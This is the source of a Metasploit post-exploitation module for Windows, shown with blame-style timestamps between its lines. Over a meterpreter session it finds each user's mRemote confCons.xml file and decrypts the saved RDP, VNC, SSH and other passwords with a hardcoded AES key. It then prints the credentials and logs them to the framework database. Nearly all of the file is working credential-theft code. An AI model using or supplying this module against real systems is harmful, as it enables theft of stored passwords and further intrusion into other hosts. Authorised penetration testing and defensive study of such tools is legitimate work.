2011-06-06 22:54:31 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-06-06 22:54:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rexml/document'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/auxiliary/report'
|
2011-06-06 22:54:31 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather mRemote Saved Password Extraction',
|
|
|
|
'Description' => %q{
|
|
|
|
This module extracts saved passwords from mRemote. mRemote stores
|
|
|
|
connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves
|
|
|
|
the passwords in an encrypted format. The module will extract the connection
|
|
|
|
info and decrypt the saved passwords.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'theLightCosine',
|
|
|
|
'hdm', #Helped write the Decryption Routine
|
|
|
|
'mubix' #Helped write the Decryption Routine
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
@secret= "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
|
|
|
|
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
next if user['LocalAppData'] == nil
|
|
|
|
tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
|
|
|
|
get_xml(tmpath)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_xml(path)
|
|
|
|
condata=""
|
|
|
|
begin
|
|
|
|
xmlexists = client.fs.file.stat(path)
|
|
|
|
connections = client.fs.file.new(path,'r')
|
|
|
|
until connections.eof
|
|
|
|
condata << connections.read
|
|
|
|
end
|
|
|
|
parse_xml(condata)
|
|
|
|
print_status("Finished processing #{path}")
|
|
|
|
rescue
|
|
|
|
print_status("The file #{path} either could not be read or does not exist")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_xml(data)
|
|
|
|
|
|
|
|
mxml= REXML::Document.new(data).root
|
|
|
|
mxml.elements.to_a("//Node").each do |node|
|
|
|
|
|
|
|
|
host = node.attributes['Hostname']
|
|
|
|
port = node.attributes['Port']
|
|
|
|
proto = node.attributes['Protocol']
|
|
|
|
user = node.attributes['Username']
|
|
|
|
domain = node.attributes['Domain']
|
|
|
|
epassword= node.attributes['Password']
|
|
|
|
next if epassword == nil or epassword== ""
|
|
|
|
decoded = epassword.unpack("m*")[0]
|
|
|
|
iv= decoded.slice!(0,16)
|
|
|
|
pass=decrypt(decoded, @secret , iv, "AES-128-CBC")
|
|
|
|
print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")
|
|
|
|
user= "#{domain}\\#{user}" unless domain.nil? or domain.empty?
|
|
|
|
if session.db_record
|
|
|
|
source_id = session.db_record.id
|
|
|
|
else
|
|
|
|
source_id = nil
|
|
|
|
end
|
|
|
|
report_auth_info(
|
|
|
|
:host => host,
|
|
|
|
:port => port,
|
|
|
|
:sname => proto,
|
|
|
|
:source_id => source_id,
|
|
|
|
:source_type => "exploit",
|
|
|
|
:user => user,
|
|
|
|
:pass => pass)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def decrypt(encrypted_data, key, iv, cipher_type)
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
|
|
|
aes.decrypt
|
|
|
|
aes.key = key
|
|
|
|
aes.iv = iv if iv != nil
|
|
|
|
aes.update(encrypted_data) + aes.final
|
|
|
|
end
|
2011-06-06 22:54:31 +00:00
|
|
|
|
|
|
|
end
|